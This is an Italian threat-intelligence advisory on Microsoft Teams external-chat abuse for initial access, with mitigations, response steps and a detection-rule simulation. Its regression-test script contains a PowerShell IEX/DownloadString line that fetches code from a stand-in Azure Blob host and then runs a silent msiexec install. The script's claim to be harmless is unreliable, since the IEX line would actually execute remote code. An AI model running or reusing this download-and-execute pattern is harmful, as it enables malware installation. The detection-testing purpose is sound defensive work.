Abuso della chat esterna di Microsoft Teams consente l’accesso iniziale

Sommario

Gli attori delle minacce stanno abusando delle funzionalità delle chat esterne di Microsoft Teams per eseguire truffe di impersonificazione e consegnare file dannosi. Gli attaccanti usano nomi visualizzati a tema IT e tenant Microsoft 365 usa e getta per apparire legittimi e guadagnare la fiducia delle vittime. Dopo aver stabilito il contatto, si affidano frequentemente al vishing e a strumenti di monitoraggio e gestione remota (RMM) per ottenere accesso diretto alla tastiera.

Indagine

Arctic Wolf ha analizzato oltre 400 incidenti che coinvolgono l’abuso delle chat esterne di Microsoft Teams. L’indagine ha identificato un modello ricorrente in cui il mail bombing creava urgenza prima che gli attaccanti contattassero le vittime tramite Teams impersonando il supporto IT. I ricercatori hanno anche osservato uno spostamento da .onmicrosoft.com tenant verso domini .top controllati dagli attaccanti per l’organizzazione del payload.

Mitigazione

Le organizzazioni dovrebbero sostituire una politica di accesso esterno aperto con una lista di domini affidabili nel centro amministrativo di Teams. Si consiglia anche di disabilitare le chat con account non gestiti o consumer di Teams. Limitare strumenti come Quick Assist e bloccare il software RMM non autorizzato può ulteriormente ridurre il rischio di sfruttamento successivo.

Risposta

Quando viene rilevata un’attività di chat esterna di Teams sospetta, le organizzazioni dovrebbero verificare l’identità del richiedente tramite un canale di comunicazione fuori banda. I team di sicurezza dovrebbero correlare eventi ChatCreated con la telemetria degli endpoint e dell’identità per scoprire potenziali compromissioni. Isolare rapidamente gli host interessati e revocare i token di sessione per gli utenti potenzialmente compromessi è fondamentale.

Esecuzione della Simulazione

• Narrativa & Comandi dell’Attacco: L’obiettivo dell’avversario è stabilire la persistenza installando un servizio dannoso. Per evitare il rilevamento, tentano di scaricare un payload da un contenitore pubblico di Azure Blob Storage. Usano un PowerShell “one-liner” che combina Invoke-Expression (alias come IEX) con un URL che punta a blob.core.windows.net. Una volta eseguito lo script in memoria, si avvia l’esecuzione di msiexec.exe per installare il payload finale, completando la catena dal comando iniziale all’installazione a livello di sistema.

• Script di Test di Regressione:

  # Script di Simulazione: Esecuzione del Payload via PowerShell e Azure Blob
  # Questo script imita esattamente i modelli che la regola cerca.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Simulando l'esecuzione del Blocco dello Script PowerShell con URL di Azure Blob..."
  # Questa linea attiva la logica EventID 4104 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Scaricando da $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Simulando esecuzione MSI..."
  # Questa linea attiva la logica EventID 4688 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Comandi di Pulizia:

  # Pulizia: Nessun file persistente viene effettivamente creato da questo script di simulazione 
  # poiché utilizza URL fittizi e percorsi MSI di sistema standard.
  Write-Host "[+] Simulazione completata. Nessun artefatto lasciato sul sistema."